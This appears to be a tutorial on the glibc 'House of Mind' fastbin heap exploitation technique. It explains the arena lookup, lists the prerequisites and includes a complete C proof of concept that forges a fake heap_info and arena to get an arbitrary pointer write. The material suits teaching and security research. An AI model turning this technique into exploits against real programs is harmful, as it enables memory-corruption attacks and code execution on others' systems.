House of Mind (Fastbin Variant)
Introduction
“House of Mind” is a classic heap exploitation technique that targets the multi-arena management system of glibc’s malloc. The attack tricks the allocator into believing that a chunk belongs to a “non-main arena” that is actually located in memory controlled by the attacker.
By setting the NON_MAIN_ARENA flag on a chunk’s size and carefully aligning memory, an attacker can force free() to look for arena metadata (malloc_state) at an arbitrary location. This results in a powerful “write-what-where” primitive when a fastbin chunk is linked into the fake arena’s fastbinsY array.
Core Concept: How glibc finds the Arena
When a chunk has the NON_MAIN_ARENA (bit 2) set in its size field, glibc uses the following logic to find the arena:
Heap Info: glibc assumes that non-main heaps are aligned to
HEAP_MAX_SIZE(typically 64MB on 64-bit Linux). It finds theheap_infostruct by masking the chunk’s address:#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))Arena Pointer: The
heap_infostruct contains anar_ptrfield which points to themalloc_state(the arena) for that heap:#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
By controlling the memory at the HEAP_MAX_SIZE aligned boundary, an attacker can provide a fake ar_ptr that points to a fake arena.
Prerequisites
- Memory Leak: To know the address of the fake arena.
- Large Allocation Capability: Ability to allocate enough memory to reach a
HEAP_MAX_SIZEaligned boundary. - Size Overwrite: Ability to set the
NON_MAIN_ARENAbit on a chunk being freed. - Tcache Exhaustion: The tcache for the target size must be full to force the chunk into the fastbin logic.
Example from house_of_mind.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main(){
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100;
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x30;
uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;
// Set 'system_mem' for fake arena to bypass sanity checks
fake_arena[0x888] = 0xFF;
fake_arena[0x889] = 0xFF;
fake_arena[0x88a] = 0xFF;
// Calculate fake heap_info location
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;
uint64_t* user_mem = malloc(MAX_SIZE);
// Allocate until we reach the HEAP_MAX_SIZE boundary
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}
uint64_t* fastbin_chunk = malloc(0x50);
uint64_t* chunk_ptr = fastbin_chunk - 2;
// Fill TCache
uint64_t* tcache_chunks[7];
for(int i = 0; i < 7; i++) tcache_chunks[i] = malloc(0x50);
for(int i = 0; i < 7; i++) free(tcache_chunks[i]);
// Link fake arena in heap_info
fake_heap_info[0] = (uint64_t) fake_arena;
// VULNERABILITY: Set non-main arena bit
chunk_ptr[1] = 0x60 | 0x4;
free(fastbin_chunk);
assert(*((unsigned long *) (target_loc)) != 0);
return 0;
}Attack Flow Explained
1. Arena Setup
The attacker creates a fake_arena in controlled memory. To pass glibc’s sanity checks during free(), the system_mem field of the fake arena must be a large value.
2. Reaching the Boundary
The attacker allocates memory until the heap reaches a HEAP_MAX_SIZE boundary (e.g., a multiple of 64MB). At this specific aligned address, the attacker crafts a heap_info struct.
3. Forging the Heap Info
The fake_heap_info[0] (the ar_ptr) is set to the address of the fake_arena. Now, any chunk with the NON_MAIN_ARENA bit set that is “near” this boundary will look at this fake_heap_info to find its arena.
4. Triggering the Write
When free(fastbin_chunk) is called:
- glibc sees the
NON_MAIN_ARENAbit. - It calculates the
heap_infoaddress by maskingfastbin_chunk. - It retrieves
ar_ptrfrom ourfake_heap_info, which points tofake_arena. - It identifies the chunk as a fastbin-sized chunk.
- It attempts to link the chunk into
fake_arena->fastbinsY[index].
This results in the address of fastbin_chunk being written into the fake_arena at an offset determined by the chunk’s size. By carefully choosing the fake_arena base address and the chunk size, the attacker can write a heap pointer to an arbitrary memory location.